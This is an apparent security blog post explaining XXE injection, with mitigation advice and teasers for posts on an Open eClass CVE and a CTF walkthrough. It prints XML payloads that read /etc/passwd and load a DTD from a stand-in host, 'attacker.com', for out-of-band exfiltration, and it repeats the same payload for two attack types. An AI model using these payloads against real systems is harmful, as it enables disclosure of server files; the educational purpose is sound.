Skip to main content

Understanding XXE Attacks


XXE, or XML External Entity Injection, is a security vulnerability that occurs when an application parses XML input from untrusted sources and allows an attacker to include external entities in the processed XML. This can lead to various security risks, including data disclosure, denial of service, and even remote code execution.

There are three primary types of XXE attacks:
  • In-band (Entity Expansion): In this type of XXE attack, the attacker can retrieve data from the server and potentially exfiltrate sensitive information. An example of this type of attack is when an attacker includes an external entity reference that fetches sensitive data, such as /etc/passwd, and includes it in the XML response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>

  • Out-of-band (OOB) XXE: In an OOB XXE attack, the attacker's goal is to trigger a request to an external server controlled by them, allowing them to exfiltrate data or confirm the existence of specific files on the server. This is particularly useful when the server's response is not directly accessible to the attacker.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe; ]>
<data>Some data</data>

  • Blind XXE (OOB Exfiltration): In a blind XXE attack, the attacker can't directly observe the server's response. However, they can still exfiltrate data by triggering requests to an external server they control. The attacker then looks for signs of the triggered requests in their server's logs.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe; ]>
<data>Some data</data>


It's important to note that XXE vulnerabilities arise when applications process XML input from untrusted sources without proper validation and sanitization. To prevent XXE attacks, it's crucial to:
  1. Disable external entity processing in XML parsers.
  2. Implement input validation and sanitization to ensure that XML input is safe.
  3. Use whitelisting to restrict the allowed XML elements and attributes.
  4. Consider using safer data formats, such as JSON, when possible, especially for data from untrusted sources.

XXE attacks can have serious security implications, so developers and security professionals should be aware of this threat and take appropriate measures to mitigate the risk.

Popular posts from this blog

Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution

During an assessment, I identified a severe security vulnerability within Open eClass, an e-learning platform extensively utilized across educational institutions, notably within Greece, where it is deployed by virtually all Greek Universities and educational entities. Open eClass, developed by GUnet (Greek Universities Network), is instrumental in delivering asynchronous e-learning services. The vulnerability, cataloged under CVE-2024-26503, involves an unrestricted file upload flaw that enables remote code execution (RCE), impacting versions 3.15 and earlier of the platform. This critical security lapse presents a significant risk, potentially allowing unauthorized access and control over the system, thereby compromising the integrity and security of the educational infrastructure. Affected Versions: ●   version <=  3.15 CVSSv3.1 Base Score: 9.1 ( Critical ) CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Exploitation Guide The vulnerability can be exploited

How I Use Obsidian for Penetration Testing, CVE Hunting, and Studying

In the ever-evolving realm of cyber security, the tools and techniques at our disposal are as varied as the threats we aim to counteract. Among these tools, note-taking applications play a pivotal role, not just in organizing our thoughts but in streamlining our entire workflow. Today, I'm excited to share how Obsidian, a tool I embraced over two and a half years ago while preparing for my eJPT exam, has become an indispensable ally in my journey through penetration testing, CVE hunting, and continuous learning. If you're not yet familiar with Obsidian, it's a robust note-taking application that operates on a local collection of plain text Markdown files. What sets it apart is its capability to interlink ideas, forming an expansive web of knowledge that is both intuitive and comprehensive to explore. Through considerable customization, I've developed what I consider to be an ideal method for consolidating notes, insights, and projects into a unified workspace. Here'

CTF: Portfolio Walkthrough

Scenario A passionate web developer recently launched his personal portfolio website, proudly displaying his projects and sharing his thoughts through a vibrant blog. His focus on design and functionality has left glaring security holes. As his blog gains popularity, you, a skilled hacker, spot the perfect target. Your mission is clear: exploit the vulnerabilities, compromise his site, and expose his negligence. Every weakness is an opportunity, every oversight a path to control. In this CTF challenge, you are the hacker. Uncover the flaws, break through the defenses, and leave your mark on the developer’s digital pride. Welcome to "Portfolio CTF" The game is on. Good luck! You can download the OVA for the Portfolio CTF from this  link SPOILER ALERT: Do not read further if you intend to solve the CTF challenge on your own. The write-up follows below. Introduction I created this Capture The Flag (CTF) machine with dual objectives: to provide a comprehensive training ground fo